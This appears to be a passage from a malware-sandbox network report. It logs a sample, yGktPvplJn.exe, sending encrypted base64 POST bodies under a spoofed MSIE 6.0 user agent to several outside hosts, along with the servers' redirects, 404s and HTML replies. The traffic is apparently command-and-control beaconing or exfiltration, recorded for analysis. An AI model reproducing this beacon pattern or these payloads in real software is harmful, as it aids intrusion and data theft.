Oct 25, 2024 11:17:32.188868046 CEST	659	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=; path=/; domain=.www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=; path=/; domain=www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847852\|1729847852\|0\|1\|0; path=/; domain=.wkhk.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.81; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49766	70.39.251.249	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.431488991 CEST	803	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 33 6f 73 71 4a 66 4e 65 6b 2f 56 58 7a 37 34 4c 4f 70 64 36 73 70 77 70 34 66 56 5a 30 4a 4f 79 31 2f 76 36 4b 59 6f 6a 48 32 2f 38 30 50 4b 69 35 32 52 50 43 6d 43 43 6a 49 43 2f 7a 51 56 4e 62 4c 79 52 6b 50 77 6e 61 4c 74 49 68 50 37 7a 78 58 71 46 41 65 41 76 79 46 4d 4a 76 4a 6c 43 61 49 64 6b 73 48 76 6f 50 35 36 75 7a 43 2b 43 69 6b 42 75 56 7a 39 58 7a 53 41 53 4d 4b 36 64 6c 6c 46 57 6d 65 6a 6b 48 35 55 2f 4d 73 35 48 72 43 66 45 61 42 39 77 46 2b 75 35 54 47 42 2f 77 75 61 54 38 6c 72 4f 65 50 6c 52 72 61 45 53 36 31 46 44 63 52 75 50 5a 31 6c 37 64 44 6e 5a 46 66 6b 6c 56 5a 48 4c 36 79 4e 57 6c 43 62 46 52 68 4f 61 36 49 48 49 59 67 4d 71 32 61 35 56 32 76 4a 59 64 35 72 43 55 6b 46 31 4b 35 59 34 6b 33 79 44 6b 6b 30 56 4d 35 55 2b 4b 74 71 59 77 42 6a 2b 75 67 56 37 6f 2b 53 37 33 4e 36 54 6a 72 4a 33 75 77 74 62 7a 4c 78 66 76 59 49 2b 51 49 57 34 4b 52 71 6c 74 72 58 53 78 31 76 35 57 31 6f 57 45 38 67 45 4e 6e 30 5a 35 66 32 36 63 45 36 41 59 6b 2f 2f 57 56 30 6d 4c 30 6b 74 4d 4a [TRUNCATED] Data Ascii: 3osqJfNek/VXz74LOpd6spwp4fVZ0JOy1/v6KYojH2/80PKi52RPCmCCjIC/zQVNbLyRkPwnaLtIhP7zxXqFAeAvyFMJvJlCaIdksHvoP56uzC+CikBuVz9XzSASMK6dllFWmejkH5U/Ms5HrCfEaB9wF+u5TGB/wuaT8lrOePlRraES61FDcRuPZ1l7dDnZFfklVZHL6yNWlCbFRhOa6IHIYgMq2a5V2vJYd5rCUkF1K5Y4k3yDkk0VM5U+KtqYwBj+ugV7o+S73N6TjrJ3uwtbzLxfvYI+QIW4KRqltrXSx1v5W1oWE8gENn0Z5f26cE6AYk//WV0mL0ktMJ3kX69Lrr3upLgG/qEhwKIaDDyt8LyT8ujnDUOkhiddhKMWUvWqJQPxzgLJzXcTEc1upqvWGVnVlGGhV29OoGLfQ2yITG/UdghX67x90L6m9yQbiaJxZt/b7b6kCzTfmlyjzlqWfxH0hzSnSZEyc+5eO8egImJCR5AMrxY/ULF0SgRno30O2oS2xxuU7JffQj7D/Y0FjdCgwY2UnorZApjvCpDMquP7LkL53Hs=
Oct 25, 2024 11:17:32.148184061 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:17:32 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:32.164767027 CEST	803	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.quadlock.com Cache-Control: no-cache Data Raw: 33 6f 73 71 4a 66 4e 65 6b 2f 56 58 7a 37 34 4c 4f 70 64 36 73 70 77 70 34 66 56 5a 30 4a 4f 79 31 2f 76 36 4b 59 6f 6a 48 32 2f 38 30 50 4b 69 35 32 52 50 43 6d 43 43 6a 49 43 2f 7a 51 56 4e 62 4c 79 52 6b 50 77 6e 61 4c 74 49 68 50 37 7a 78 58 71 46 41 65 41 76 79 46 4d 4a 76 4a 6c 43 61 49 64 6b 73 48 76 6f 50 35 36 75 7a 43 2b 43 69 6b 42 75 56 7a 39 58 7a 53 41 53 4d 4b 36 64 6c 6c 46 57 6d 65 6a 6b 48 35 55 2f 4d 73 35 48 72 43 66 45 61 42 39 77 46 2b 75 35 54 47 42 2f 77 75 61 54 38 6c 72 4f 65 50 6c 52 72 61 45 53 36 31 46 44 63 52 75 50 5a 31 6c 37 64 44 6e 5a 46 66 6b 6c 56 5a 48 4c 36 79 4e 57 6c 43 62 46 52 68 4f 61 36 49 48 49 59 67 4d 71 32 61 35 56 32 76 4a 59 64 35 72 43 55 6b 46 31 4b 35 59 34 6b 33 79 44 6b 6b 30 56 4d 35 55 2b 4b 74 71 59 77 42 6a 2b 75 67 56 37 6f 2b 53 37 33 4e 36 54 6a 72 4a 33 75 77 74 62 7a 4c 78 66 76 59 49 2b 51 49 57 34 4b 52 71 6c 74 72 58 53 78 31 76 35 57 31 6f 57 45 38 67 45 4e 6e 30 5a 35 66 32 36 63 45 36 41 59 6b 2f 2f 57 56 30 6d 4c 30 6b 74 4d 4a [TRUNCATED] Data Ascii: 3osqJfNek/VXz74LOpd6spwp4fVZ0JOy1/v6KYojH2/80PKi52RPCmCCjIC/zQVNbLyRkPwnaLtIhP7zxXqFAeAvyFMJvJlCaIdksHvoP56uzC+CikBuVz9XzSASMK6dllFWmejkH5U/Ms5HrCfEaB9wF+u5TGB/wuaT8lrOePlRraES61FDcRuPZ1l7dDnZFfklVZHL6yNWlCbFRhOa6IHIYgMq2a5V2vJYd5rCUkF1K5Y4k3yDkk0VM5U+KtqYwBj+ugV7o+S73N6TjrJ3uwtbzLxfvYI+QIW4KRqltrXSx1v5W1oWE8gENn0Z5f26cE6AYk//WV0mL0ktMJ3kX69Lrr3upLgG/qEhwKIaDDyt8LyT8ujnDUOkhiddhKMWUvWqJQPxzgLJzXcTEc1upqvWGVnVlGGhV29OoGLfQ2yITG/UdghX67x90L6m9yQbiaJxZt/b7b6kCzTfmlyjzlqWfxH0hzSnSZEyc+5eO8egImJCR5AMrxY/ULF0SgRno30O2oS2xxuU7JffQj7D/Y0FjdCgwY2UnorZApjvCpDMquP7LkL53Hs=
Oct 25, 2024 11:17:32.328409910 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:17:32 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49768	3.19.116.195	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.480133057 CEST	807	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 62 68 55 54 4d 4b 4f 35 6b 2f 58 76 39 59 56 32 4b 6c 4c 52 73 63 78 4c 4e 4c 33 4a 43 49 50 69 68 79 6b 79 69 55 6b 34 64 2f 62 76 45 33 34 57 4b 31 67 59 58 59 69 76 51 63 68 63 6c 6a 4e 75 57 49 74 67 64 46 6c 65 57 2b 44 33 51 61 73 73 32 4c 4c 65 64 37 30 42 46 4c 2b 77 47 6c 73 71 33 51 34 58 6f 63 55 63 4c 44 57 71 48 64 4d 43 6b 5a 4e 4d 4c 76 4e 34 63 57 64 70 6e 53 7a 2b 7a 74 36 53 78 70 33 46 43 6c 50 64 6c 5a 31 63 4b 4d 72 4e 53 4a 4b 48 6f 6b 58 43 71 5a 31 74 67 6e 51 61 56 70 47 63 74 69 53 45 47 36 41 34 2b 44 45 35 38 6b 62 35 45 69 67 43 50 71 4e 7a 44 53 74 70 61 44 52 43 58 30 4b 71 39 74 6b 74 4b 33 58 6a 70 34 55 58 62 72 44 65 2b 38 69 6e 38 65 63 41 4a 4d 32 31 4f 4e 68 6d 56 48 55 61 48 4c 47 6c 6c 47 6c 46 49 61 66 70 2b 70 62 57 46 42 39 33 44 44 57 64 32 65 4f 6d 36 75 76 35 6d 35 63 70 34 64 53 6f 62 42 68 63 73 39 34 4d 68 2f 6b 6b 71 64 62 34 71 35 5a 49 52 34 4c 4b 6c 5a 55 4e 42 35 41 71 6b 68 72 6a 67 68 48 72 64 6c 77 73 34 41 76 46 4d 55 32 44 75 56 68 71 64 7a [TRUNCATED] Data Ascii: bhUTMKO5k/Xv9YV2KlLRscxLNL3JCIPihykyiUk4d/bvE34WK1gYXYivQchcljNuWItgdFleW+D3Qass2LLed70BFL+wGlsq3Q4XocUcLDWqHdMCkZNMLvN4cWdpnSz+zt6Sxp3FClPdlZ1cKMrNSJKHokXCqZ1tgnQaVpGctiSEG6A4+DE58kb5EigCPqNzDStpaDRCX0Kq9tktK3Xjp4UXbrDe+8in8ecAJM21ONhmVHUaHLGllGlFIafp+pbWFB93DDWd2eOm6uv5m5cp4dSobBhcs94Mh/kkqdb4q5ZIR4LKlZUNB5AqkhrjghHrdlws4AvFMU2DuVhqdzZaJogiLumNQeuBmv7eETqZ966pI6DVjL+D5QGCV9IU1ihKfo9t6MNKuR+eha275fjpm9soWs97IWTFN7Vy+OKp/qEjS93zoq/qGq8KULwhpNj+bmg+Z9cE+PyWTJ5W6hS+mKsGHWZm3AtI/oYa03953Tcm6cS0Zrq1xJwOHvWwLtQnQI5Td8+b3/FdQM2nX1pP32VZbHzR2vSAEjFAzPnuXQOvl8pNH2DyJCtFwQxq
Oct 25, 2024 11:17:32.157098055 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49771	59.106.19.204	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.929064989 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.baijaku.com Cache-Control: no-cache Data Raw: 56 4c 6d 74 49 35 4e 53 6b 2f 57 71 4d 64 71 58 57 72 59 72 65 44 79 43 5a 70 78 35 72 4c 43 4b 64 78 6c 6f 35 66 57 2b 59 63 4a 43 56 73 34 62 39 53 50 32 6d 62 31 50 76 4d 46 56 58 6f 51 4e 35 5a 77 70 65 36 6e 70 71 51 58 46 49 2b 79 74 38 58 6c 67 46 58 43 43 6c 4f 48 39 4e 62 49 31 58 32 33 62 31 4e 4d 4d 5a 52 4a 67 74 66 36 59 43 45 53 30 57 2f 65 4f 49 78 6f 57 55 49 54 30 38 39 35 49 6c 43 71 54 6d 51 71 36 58 41 75 6e 63 32 52 46 42 37 75 77 77 41 76 35 7a 37 73 63 6c 6b 66 4d 34 4b 55 50 2f 70 6d 57 74 31 78 68 47 4f 2f 78 69 53 57 52 77 56 6d 34 70 37 54 6a 6b 4b 79 66 39 66 73 58 56 46 39 70 6f 4b 38 4f 71 77 42 4c 6d 71 4a 4d 64 72 55 38 53 67 61 4f 6c 5a 73 6d 47 2f 73 65 4e 70 59 76 35 47 64 6a 58 77 37 4f 76 7a 30 4b 73 78 35 49 59 4b 44 41 6c 63 4c 41 4f 31 55 48 63 64 78 5a 4e 37 48 44 70 72 31 45 59 50 4c 42 64 61 63 66 4a 71 67 34 5a 75 64 47 32 4e 71 42 4a 64 75 42 2f 31 51 6c 57 53 51 67 75 6e 4a 4e 2f 7a 4d 2f 4b 76 69 4b 4c 47 71 4c 6d 35 32 66 48 35 63 5a 6e 42 2f 5a 58 54 [TRUNCATED] Data Ascii: VLmtI5NSk/WqMdqXWrYreDyCZpx5rLCKdxlo5fW+YcJCVs4b9SP2mb1PvMFVXoQN5Zwpe6npqQXFI+yt8XlgFXCClOH9NbI1X23b1NMMZRJgtf6YCES0W/eOIxoWUIT0895IlCqTmQq6XAunc2RFB7uwwAv5z7sclkfM4KUP/pmWt1xhGO/xiSWRwVm4p7TjkKyf9fsXVF9poK8OqwBLmqJMdrU8SgaOlZsmG/seNpYv5GdjXw7Ovz0Ksx5IYKDAlcLAO1UHcdxZN7HDpr1EYPLBdacfJqg4ZudG2NqBJduB/1QlWSQgunJN/zM/KviKLGqLm52fH5cZnB/ZXT0xzqYfURTvVIw163n+XO/SX5+rfDP6Qg8cFcBvGyykdLvBZQT7w8hJXbyJCmuBClZfoIXQL8ldS+T2WcYWaL+asCdAsBlSX7P3DMaBteR6vCwag5xHc5dbsRG6S/m1Btc/tcZKSI47yPBo3WAu+BFa62n+NNXYoF2uah0ocg0/sFk3SbgEFuxzqxqj6cXEBNUahC6D3NCTcMg9PoxwDONqwHqsUleifgDnuAEpRJuEvyq1R4fmegYwKv4=
Oct 25, 2024 11:17:32.874511957 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/html Content-Length: 36205 Connection: keep-alive Last-Modified: Sat, 05 Oct 2024 08:20:39 GMT ETag: "8d6d-623b6767a23c0" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 52 65 71 75 69 72 65 64 20 6d 65 74 61 20 74 61 67 73 e5 bf 85 e9 a0 88 e3 83 a1 e3 82 bf e3 82 bf e3 82 b0 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e4 b8 ad e6 9d 91 e6 a2 85 e9 9b 80 20 6f 66 66 69 63 69 61 6c 20 77 65 62 20 73 69 74 65 3c 2f 74 [TRUNCATED] Data Ascii: <!doctype html><html lang="ja"> <head> ... Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" href="img/favicon.png" type="image/png"> <title> official web site</title> ... Bootstrap CSS --> <link rel="stylesheet" href="css/bootstrap.css"> <link rel="stylesheet" href="vendors/linericon/style.css"> <link rel="stylesheet" href="css/font-awesome.min.css"><link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"> <link rel="stylesheet" href="vendors/owl-carousel/owl.carousel.min.css"> <link rel="stylesheet" href="vendors/lightbox/simpleLightbox.css"> <link rel="stylesheet" href="vendors/nice-select/css/nice-select.css"> <link rel="stylesheet" href="vendors/animate-css/animate.css"> <link rel="stylesheet" href="v
Oct 25, 2024 11:17:32.874624968 CEST	1236	IN	Data Raw: 65 6e 64 6f 72 73 2f 66 6c 61 74 69 63 6f 6e 2f 66 6c 61 74 69 63 6f 6e 2e 63 73 73 22 3e 0a 09 09 3c 21 2d 2d 20 73 6c 69 63 6b 20 2d 2d 3e 0a 3c 21 2d 2d 20 63 73 73 20 2d 2d 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 6c 69 63 6b 2f 73 6c 69 Data Ascii: endors/flaticon/flaticon.css">... slick -->... css --><link href="slick/slick.less" rel="stylesheet" type="text/css"><link href="slick/slick-theme.css" rel="stylesheet" type="text/css"><link href="css/style.css" rel="stylesheet" type=
Oct 25, 2024 11:17:32.874679089 CEST	424	IN	Data Raw: 20 6d 6f 62 69 6c 65 20 64 69 73 70 6c 61 79 20 2d 2d 3e 0a 09 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 6c 6f 67 6f 5f 68 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 Data Ascii: mobile display --> <a class="navbar-brand logo_h" href="index.html"><img src="img/logo-4.jpg" alt=""></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-control
Oct 25, 2024 11:17:32.874716043 CEST	1236	IN	Data Raw: 3e 0a 09 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 43 6f 6c 6c 65 63 74 20 74 68 65 20 6e 61 76 20 6c 69 6e 6b 73 2c 20 66 6f 72 6d 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 65 6e 74 20 66 6f 72 20 74 6f 67 67 6c 69 6e 67 20 2d 2d 3e 0a 09 Data Ascii: > ... Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse offset" id="navbarSupportedContent"> <ul class="nav navbar-nav menu_nav ml-auto"> <li class=
Oct 25, 2024 11:17:32.874753952 CEST	1236	IN	Data Raw: 6c 61 73 73 3d 22 68 6f 6d 65 5f 6c 65 66 74 5f 69 6d 67 22 3e 0a 09 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 69 6d 67 2f 74 6f 70 2d 70 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 Data Ascii: lass="home_left_img"><img src="img/top-p.jpg" alt=""></div></div><div class="col-lg-6"> <div class="banner_content"> <p> </p><h5>actor, bassist & composer</h5><img class="p
Oct 25, 2024 11:17:32.874789000 CEST	1236	IN	Data Raw: 20 20 20 20 3c 21 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 45 6e 64 20 48 6f 6d 65 20 42 61 6e 6e 65 72 20 41 72 65 61 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2d 2d 3e 0a 09 09 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 3d Data Ascii: ...================End Home Banner Area =================--> ...================ message Area =================--> <section class="home_banner_area"><div class="section-top-border text-right"><h3 class="mb-30 titl
Oct 25, 2024 11:17:32.874825954 CEST	1236	IN	Data Raw: e3 81 82 e3 82 8a e3 81 be e3 81 99 3c 62 72 3e 0a 3c 62 72 3e 0a e3 81 9d e3 81 97 e3 81 a6 e3 81 9d e3 81 97 e3 81 a6 e3 81 84 e3 82 88 e3 81 84 e3 82 88 3c 62 72 3e 0a 31 32 e6 9c 88 e3 80 80 e6 97 a5 e7 94 9f e5 8a 87 e5 a0 b4 3c 62 72 3e 0a Data Ascii: <br><br><br>12<br><br><br><br><br> <img src="im
Oct 25, 2024 11:17:32.874861956 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 5f 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 09 09 09 3c 68 32 20 Data Ascii: <div class="container"> <div class="main_title"> <h2 id="news">Gallery</h2> </div>... --> <div class="testi_inner"><div class="testi_slide
Oct 25, 2024 11:17:32.874895096 CEST	1236	IN	Data Raw: 09 09 09 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 6e 65 72 5f 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 62 61 6e 6e 65 72 5f 62 74 6e 22 20 68 72 65 66 Data Ascii: <div class="banner_content"><p> </p><a class="banner_btn" href="gallery.html"></a></div> </div>...end--><br><br>...--><section id="Movie">
Oct 25, 2024 11:17:32.874932051 CEST	1236	IN	Data Raw: 22 6d 61 69 6e 5f 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 09 09 09 3c 68 32 20 69 64 3d 22 6e 65 77 73 22 3e 4e 65 77 73 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 09 09 09 3c 70 3e e5 87 ba e6 bc 94 e6 83 85 e5 a0 b1 e3 83 bb e3 81 8a e7 Data Ascii: "main_title"> <h2 id="news">News</h2> <p></p> </div> <div class="feature_inner row">...news 1--> ...end news 1-->...news 2-->
Oct 25, 2024 11:17:32.880356073 CEST	1236	IN	Data Raw: 09 09 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6e 65 77 73 2d 62 74 6e 2d 74 76 22 3e 54 20 20 ef bd 96 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 68 34 3e e3 Data Ascii: <p><span class="news-btn-tv">T </span></p><p> </p><h4>?</h4> <p>BS 6307</p> <p><a href="news.html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	52540	3.19.116.195	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.209444046 CEST	807	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 62 68 55 54 4d 4b 4f 35 6b 2f 58 76 39 59 56 32 4b 6c 4c 52 73 63 78 4c 4e 4c 33 4a 43 49 50 69 68 79 6b 79 69 55 6b 34 64 2f 62 76 45 33 34 57 4b 31 67 59 58 59 69 76 51 63 68 63 6c 6a 4e 75 57 49 74 67 64 46 6c 65 57 2b 44 33 51 61 73 73 32 4c 4c 65 64 37 30 42 46 4c 2b 77 47 6c 73 71 33 51 34 58 6f 63 55 63 4c 44 57 71 48 64 4d 43 6b 5a 4e 4d 4c 76 4e 34 63 57 64 70 6e 53 7a 2b 7a 74 36 53 78 70 33 46 43 6c 50 64 6c 5a 31 63 4b 4d 72 4e 53 4a 4b 48 6f 6b 58 43 71 5a 31 74 67 6e 51 61 56 70 47 63 74 69 53 45 47 36 41 34 2b 44 45 35 38 6b 62 35 45 69 67 43 50 71 4e 7a 44 53 74 70 61 44 52 43 58 30 4b 71 39 74 6b 74 4b 33 58 6a 70 34 55 58 62 72 44 65 2b 38 69 6e 38 65 63 41 4a 4d 32 31 4f 4e 68 6d 56 48 55 61 48 4c 47 6c 6c 47 6c 46 49 61 66 70 2b 70 62 57 46 42 39 33 44 44 57 64 32 65 4f 6d 36 75 76 35 6d 35 63 70 34 64 53 6f 62 42 68 63 73 39 34 4d 68 2f 6b 6b 71 64 62 34 71 35 5a 49 52 34 4c 4b 6c 5a 55 4e 42 35 41 71 6b 68 72 6a 67 68 48 72 64 6c 77 73 34 41 76 46 4d 55 32 44 75 56 68 71 64 7a [TRUNCATED] Data Ascii: bhUTMKO5k/Xv9YV2KlLRscxLNL3JCIPihykyiUk4d/bvE34WK1gYXYivQchcljNuWItgdFleW+D3Qass2LLed70BFL+wGlsq3Q4XocUcLDWqHdMCkZNMLvN4cWdpnSz+zt6Sxp3FClPdlZ1cKMrNSJKHokXCqZ1tgnQaVpGctiSEG6A4+DE58kb5EigCPqNzDStpaDRCX0Kq9tktK3Xjp4UXbrDe+8in8ecAJM21ONhmVHUaHLGllGlFIafp+pbWFB93DDWd2eOm6uv5m5cp4dSobBhcs94Mh/kkqdb4q5ZIR4LKlZUNB5AqkhrjghHrdlws4AvFMU2DuVhqdzZaJogiLumNQeuBmv7eETqZ966pI6DVjL+D5QGCV9IU1ihKfo9t6MNKuR+eha275fjpm9soWs97IWTFN7Vy+OKp/qEjS93zoq/qGq8KULwhpNj+bmg+Z9cE+PyWTJ5W6hS+mKsGHWZm3AtI/oYa03953Tcm6cS0Zrq1xJwOHvWwLtQnQI5Td8+b3/FdQM2nX1pP32VZbHzR2vSAEjFAzPnuXQOvl8pNH2DyJCtFwQxq
